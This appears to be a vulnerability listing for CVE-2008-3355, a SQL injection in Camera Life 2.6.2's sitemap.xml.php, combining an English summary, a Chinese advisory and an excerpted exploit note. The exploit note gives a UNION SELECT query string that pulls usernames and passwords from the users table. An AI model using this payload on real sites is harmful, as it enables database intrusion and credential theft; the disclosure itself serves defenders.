CVE-2008-3355

CVE-2008-3355 : SQL injection in sitemap.xml.php of Camera Life 2.6.2 (and related builds) allows remote attackers to execute arbitrary SQL via the id parameter in a photos action. Public references (e.g., Exploit-DB) indicate available exploit information. The affected version is listed as Camer...

Camera Life 'sitemap.xml.php' SQL注入漏洞

BUGTRAQ ID: 30369 CNCAN ID：CNCAN-2008072802 Camera Life是一款基于PHP的WEB应用程序。 Camera Life不正确过滤用户提交的WEB数据，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息。 问题是'sitemap.xml.php'脚本对用户提交给'id'参数缺少过滤，构建恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或数据库 Camera Life Camera Life 2.6.2 目前没有解决方案提供： http://fdcl.sourceforge.net/...

cameralife-sql.txt

Camera Life 2.6.2id Sql Injection Vulnerability Author: nuclear script: http://downloads.sourceforge.net/fdcl/cameralife-2.6.2aa.zip exploit: sitemap.xml.php?page=photos&id=999999 union select concatusername,0x3a,password,null from users -- greetz cAs, Mi4night, zYzTeM ,THEMAN, DiGitalX, sys32r,...